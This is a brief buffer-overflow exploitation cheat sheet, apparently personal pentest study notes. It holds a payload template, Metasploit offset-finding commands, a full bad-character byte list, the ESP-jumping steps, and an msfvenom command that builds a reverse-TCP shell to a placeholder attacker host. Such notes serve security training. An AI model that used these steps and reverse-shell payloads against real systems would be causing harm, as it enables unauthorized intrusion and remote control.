Buffer Overflow

#Buffer Overflow:
# Payload
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>
# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <address>
# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax
# Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
Buffer Overflow
Determine length of overflow trigger w/ binary search "A"x1000
Determine exact EIP with pattern_create.rb & pattern_offset.rb
Determine badchars to make sure all of your payload is getting through
Develop exploit
Is the payload right at ESP
JMP ESP
Is the payload before ESP
sub ESP, 200 and then JMP ESP
or
call [ESP-200]
msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
Make sure it fits your payload length above
Gain shell, local priv esc or rooted already?

https://medium.com/@loopspell/10-easy-steps-to-exploit-basic-stack-based-buffer-overflow-3a0472a8a80e